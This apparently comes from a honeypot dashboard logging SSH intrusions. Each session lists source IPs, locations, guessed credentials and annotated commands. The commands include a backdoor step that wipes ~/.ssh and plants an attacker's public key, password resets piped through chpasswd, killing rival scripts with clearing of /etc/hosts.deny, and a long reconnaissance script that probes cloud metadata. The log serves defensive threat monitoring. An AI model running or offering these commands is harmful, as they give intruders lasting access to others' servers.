$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ weary_wok_db (39.97.44.13) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-21 12:19 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ wired_star_root_134 (192.129.155.134) โ€” Los Angeles, United States ยท 1 session ยท 2 cmds
2026-07-21 10:19 EDT ยท as oracle/Oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ feral_meatball_root (158.174.210.161) โ€” Fรคrjestaden, Sweden ยท 1 session ยท 2 cmds
2026-07-21 09:15 EDT ยท as oracle/1qaz2wsx#EDC
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ vapor_seoul_root (115.68.226.19) โ€” Gwangmyeong, South Korea ยท 1 session ยท 2 cmds
2026-07-21 06:56 EDT ยท as oracle/09N1RCa1Hs31
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sullen_rogue_root (91.92.199.36) โ€” Sofia, Bulgaria ยท 1 session ยท 2 cmds
2026-07-21 03:24 EDT ยท as oracle/oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sullen_wraith_root (196.188.93.169) โ€” Addis Ababa, Ethiopia ยท 1 session ยท 2 cmds
2026-07-21 03:03 EDT ยท as oracle/Passw0rd
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ velvet_bike_root (130.185.122.21) โ€” Dronten, The Netherlands ยท 1 session ยท 17 cmds
2026-07-20 22:23 EDT ยท as root/qwerty
sh -c PATH export โ†’ hostname & /etc/hostname capture โ†’ uname -n & uname -a execution โ†’ uname -m architecture check โ†’ id & whoami & id -un privilege verification โ†’ uptime -p & uptime system load polling โ†’ LC_ALL environment variable injection โ†’ output redirection to /dev/null for stealth
$ sh -c '; export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH"; export LC_ALL=C; export LANG=C; ; # first line helper (no head dependency); _f() { awk '"'"'NF{print; exit}'"'"' 2>/dev/null; }; _have() { command -v "$1" >/dev/null 2>&1; }; ; echo __H__=$(_have hostname && hostname 2>/dev/null || cat /etc/hostname 2>/dev/null | _f || uname -n 2>/dev/null || echo unknown); echo __U__=$(uname -a 2>/dev/null || echo); echo __M__=$(uname -m 2>/dev/null || echo); echo __I__=$(id 2>/dev/null || echo); echo __W__=$(whoami 2>/dev/null || id -un 2>/dev/null || echo); ; # uptime; if _have uptime; then; if uptime -p >/dev/null 2>&1; then echo __T__=$(uptime -p 2>/dev/null | tr -s '"'"' '"'"'); else echo __T__=$(uptime 2>/dev/null | tr -s '"'"' '"'"' | _f); fi; fi; ; # OS pretty name; if [ -f /etc/os-release ]; then; echo __O__=$(awk -F= '"'"'/^PRETTY_NAME=/{gsub(/"/,"",$2); print $2; exit}'"'"' /etc/os-release); elif [ -f /etc/redhat-release ]; then; echo __O__=$(cat /etc/redhat-release | _f); elif [ -f /etc/debian_version ]; then; echo __O__="Debian $(cat /etc/debian_version)"; else; echo __O__=$(uname -s 2>/dev/null); fi; ; # IPs โ€” unique, non-loopback; echo __P__=$(; {; _have hostname && hostname -I 2>/dev/null; _have ip && ip -4 -o addr show 2>/dev/null | awk '"'"'{print $4}'"'"' | cut -d/ -f1; _have ifconfig && ifconfig 2>/dev/null | awk '"'"'/inet /{print $2}'"'"' | sed '"'"'s/addr://'"'"'; } 2>/dev/null | tr '"'"' '"'"' '"'"'\n'"'"' | awk '"'"'NF && $1!="127.0.0.1" && $1!~/^127\./{if(!s[$1]++){printf sep $1; sep=","}}'"'"'; ); ; # load; if [ -r /proc/loadavg ]; then echo __L__=$(awk '"'"'{print $1,$2,$3}'"'"' /proc/loadavg); elif _have uptime; then echo __L__=$(uptime 2>/dev/null | sed '"'"'s/.*load averages*: //;s/.*load average: //'"'"' | _f); fi; ; # cores; if _have nproc; then echo __CC__=$(nproc 2>/dev/null); elif [ -r /proc/cpuinfo ]; then echo __CC__=$(grep -c '"'"'^processor'"'"' /proc/cpuinfo 2>/dev/null); elif _have sysctl; then echo __CC__=$(sysctl -n hw.ncpu 2>/dev/null || sysctl -n hw.logicalcpu 2>/dev/null); elif _have getconf; then echo __CC__=$(getconf _NPROCESSORS_ONLN 2>/dev/null); fi; ; # CPU model; if [ -r /proc/cpuinfo ]; then; echo __CM__=$(awk -F: '"'"'/model name/{gsub(/^ /,"",$2); print $2; exit}'"'"' /proc/cpuinfo); elif _have sysctl; then; echo __CM__=$(sysctl -n machdep.cpu.brand_string 2>/dev/null || sysctl -n hw.model 2>/dev/null); fi; ; # RAM / swap (Linux free, or /proc, or FreeBSD sysctl); if _have free; then; echo __RAM__=$(free -h 2>/dev/null | awk '"'"'/^[Mm]em:/{print $2" total, "$3" used, "$NF" avail"}'"'"'); echo __SWAP__=$(free -h 2>/dev/null | awk '"'"'/^[Ss]wap:/{print $2" total, "$3" used"}'"'"'); elif [ -r /proc/meminfo ]; then; echo __RAM__=$(awk '"'"'/MemTotal/{t=$2} /MemAvailable/{a=$2} END{if(t) printf "%.1fGi total, %.1fGi avail\n", t/1024/1024, a/1024/1024}'"'"' /proc/meminfo); echo __SWAP__=$(awk '"'"'/SwapTotal/{t=$2} /SwapFree/{f=$2} END{if(t) printf "%.1fGi total, %.1fGi free\n", t/1024/1024, f/1024/1024}'"'"' /proc/meminfo); elif _have sysctl; then; echo __RAM__=$(sysctl -n hw.physmem 2>/dev/null | awk '"'"'{printf "%.1fGi\n", $1/1024/1024/1024}'"'"'); fi; ; # root disk only (avoid duplicate rows); if _have df; then; echo __DISK__=$(df -h / 2>/dev/null | awk '"'"'NR==2{print $1,$2,"total,",$3,"used,",$4,"free,",$5,"on",$6}'"'"'); fi; ; # virt; if _have systemd-detect-virt; then echo __VIRT__=$(systemd-detect-virt 2>/dev/null); elif [ -r /proc/cpuinfo ] && grep -qi hypervisor /proc/cpuinfo 2>/dev/null; then echo __VIRT__=hypervisor; elif _have sysctl; then echo __VIRT__=$(sysctl -n hw.model 2>/dev/null | _f); fi; ; # ----- multi-line blocks (limit lines with awk, not head) -----; echo __BEGIN_NET__; if _have ip; then ip -br a 2>/dev/null | awk '"'"'NR<=20'"'"'; elif _have ifconfig; then ifconfig 2>/dev/null | awk '"'"'/^[a-zA-Z0-9]/ || /inet /{print}'"'"' | awk '"'"'NR<=40'"'"'; fi; echo __END_NET__; ; echo __BEGIN_DISK__; if _have lsblk; then lsblk -o NAME,SIZE,TYPE,MOUNTPOINT,FSTYPE 2>/dev/null | awk '"'"'NR<=20'"'"'; fi; if _have df; then df -h 2>/dev/null | awk '"'"'NR==1 || ($1 ~ /^\/dev\// || $6=="/"){print}'"'"' | awk '"'"'NR<=12'"'"'; fi; echo __END_DISK__; ; echo __BEGIN_PROC__; if _have ps; then; # Linux GNU ps may support --sort; BSD does not; ps aux --sort=-%mem 2>/dev/null | awk '"'"'NR<=11'"'"' || ps aux 2>/dev/null | awk '"'"'NR<=11'"'"' || ps -axo user,pid,pcpu,pmem,comm 2>/dev/null | awk '"'"'NR<=11'"'"'; fi; echo __END_PROC__; ; echo __BEGIN_LISTEN__; if _have ss; then ss -tuln 2>/dev/null | awk '"'"'NR<=20'"'"'; elif _have netstat; then netstat -an 2>/dev/null | awk '"'"'/LISTEN|UDP/{print}'"'"' | awk '"'"'NR<=20'"'"'; fi; echo __END_LISTEN__; ; echo __BEGIN_ROUTE__; if _have ip; then ip route 2>/dev/null | awk '"'"'NR<=12'"'"'; elif _have netstat; then netstat -rn 2>/dev/null | awk '"'"'NR<=12'"'"'; elif _have route; then route -n 2>/dev/null | awk '"'"'NR<=12'"'"'; fi; echo __END_ROUTE__; ; echo __BEGIN_USERS__; if _have who; then who 2>/dev/null | awk '"'"'NR<=8'"'"'; fi; if _have last; then last -n 6 2>/dev/null | awk '"'"'NR<=8'"'"'; fi; echo __END_USERS__; ; echo __BEGIN_DOCKER__; if _have docker; then docker ps --format '"'"'{{.Names}} {{.Image}} {{.Status}}'"'"' 2>/dev/null | awk '"'"'NR<=10'"'"'; fi; echo __END_DOCKER__; ; echo __BEGIN_PKG__; if _have dpkg; then dpkg -l 2>/dev/null | awk '"'"'END{print NR" dpkg packages"}'"'"'; elif _have rpm; then rpm -qa 2>/dev/null | awk '"'"'END{print NR" rpm packages"}'"'"'; elif _have pkg; then pkg info 2>/dev/null | awk '"'"'END{print NR" freebsd packages"}'"'"'; fi; echo __END_PKG__; ; echo __BEGIN_CLOUD__; # only print if response looks like plain metadata (not HTML); _meta() {; resp=$(curl -s -m 1 "$1" 2>/dev/null) || return 0; case "$resp" in; *"<html"*|*"<HTML"*|*"404"*|*"Not Found"*|"") return 0 ;;; esac; echo "$2: $resp"; }; if _have curl; then; _meta "http://169.254.169.254/latest/meta-data/instance-type" "AWS"; _meta "http://169.254.169.254/computeMetadata/v1/instance/machine-type" "GCP"; fi; echo __END_CLOUD__; ; echo __BEGIN_MISC__; date 2>/dev/null; if _have timedatectl; then timedatectl 2>/dev/null | awk '"'"'NR<=6'"'"'; fi; echo "user=$(whoami 2>/dev/null) home=$HOME shell=$SHELL"; [ -r /etc/machine-id ] && echo "machine-id=$(cat /etc/machine-id 2>/dev/null)"; echo __END_MISC__; ; # Windows OpenSSH fallback if almost nothing was collected; if ! _have uname && (_have powershell.exe || _have powershell); then; PSBIN=$(command -v powershell.exe 2>/dev/null || command -v powershell); "$PSBIN" -NoProfile -Command "\$cs=Get-CimInstance Win32_ComputerSystem -EA SilentlyContinue; \$os=Get-CimInstance Win32_OperatingSystem -EA SilentlyContinue; \$cpu=Get-CimInstance Win32_Processor -EA SilentlyContinue | Select-Object -First 1; Write-Output ('"'"'__H__='"'"'+\$env:COMPUTERNAME); Write-Output ('"'"'__O__='"'"'+\$os.Caption+'"'"' '"'"'+\$os.Version); Write-Output ('"'"'__CC__='"'"'+\$cs.NumberOfLogicalProcessors); Write-Output ('"'"'__CM__='"'"'+\$cpu.Name); Write-Output ('"'"'__RAM__='"'"'+([math]::Round(\$cs.TotalPhysicalMemory/1GB,1))+'"'"' GB'"'"'); Write-Output ('"'"'__W__='"'"'+\$env:USERNAME)" 2>/dev/null; fi; '
โ†ณ payload download
$ _have hostname
$ hostname 2 > /dev/null
$ cat /etc/hostname 2 > /dev/null | _f
$ uname -n 2 > /dev/null
$ echo unknown
$ uname -a 2 > /dev/null
$ echo ร—4
$ uname -m 2 > /dev/null
$ id 2 > /dev/null
$ whoami 2 > /dev/null
$ id -un 2 > /dev/null
$ uptime -p 2 > /dev/null | tr -s
$ uptime 2 > /dev/null | tr -s | _f
๐ŸŽญ midnight_stroopwafel_root (91.92.40.28) โ€” Eygelshoven, The Netherlands ยท 54 sessions ยท 54 cmds
2026-06-26 16:48 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—54
๐ŸŽญ haywire_saffron_root (85.133.221.164) โ€” Tehran, Iran ยท 2 sessions ยท 22 cmds
2026-07-20 20:29 EDT ยท as guest/guest, oracle/oracle@2025
cd ~; chattr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ echo "guest\n4eLGwNkLHc03\n4
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "guest\n4eLGwNkLHc03\n4eLGwNkLHc03"|passwd|bash
$ Enter new UNIX password:
$ echo "guest\n4eLGwNkLHc03\n4eLGwNkLHc03\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ baroque_lucha_root (187.230.22.130) โ€” Nogales, Mexico ยท 1 session ยท 19 cmds
2026-07-20 20:08 EDT ยท as root/admin
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "root:P4iP2DglpFb2"|chpasswd|bash โ†’ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh โ†’ pkill -
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:P4iP2DglpFb2"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sullen_clog_root (45.153.34.167) โ€” Eygelshoven, The Netherlands ยท 124 sessions ยท 124 cmds
2026-07-01 16:13 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—124
๐ŸŽญ velvet_clog_root_43 (68.66.251.43) โ€” Amsterdam, The Netherlands ยท 1 session ยท 2 cmds
2026-07-20 14:31 EDT ยท as oracle/Oracle123!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ zealous_cowboy_root_29 (40.112.183.29) โ€” San Francisco, United States ยท 1 session ยท 2 cmds
2026-07-20 14:31 EDT ยท as oracle/oracle@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_sensei_root (103.143.72.165) โ€” Chiyoda City, Japan ยท 1 session ยท 2 cmds
2026-07-20 14:29 EDT ยท as oracle/oracle@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_chai_root (103.248.120.6) โ€” Meerut, India ยท 2 sessions ยท 22 cmds
2026-07-20 11:48 EDT ยท as admin/123456, oracle/asd123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\njDPfJ5niWLM1\njDPfJ5niWLM1"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\njDPfJ5niWLM1\njDPfJ5niWLM1\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ wily_blitz_sol (139.59.208.225) โ€” Frankfurt am Main, Germany ยท 1 session ยท 2 cmds
2026-07-20 10:44 EDT ยท as oracle/Oracle11
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_stein_sol (94.159.108.238) โ€” Frankfurt am Main, Germany ยท 1 session ยท 2 cmds
2026-07-20 09:34 EDT ยท as oracle/Oracle11
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sneaky_monet_root (173.249.52.138) โ€” Lauterbourg, France ยท 1 session ยท 2 cmds
2026-07-20 07:37 EDT ยท as oracle/1qaz2wsx#EDC
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
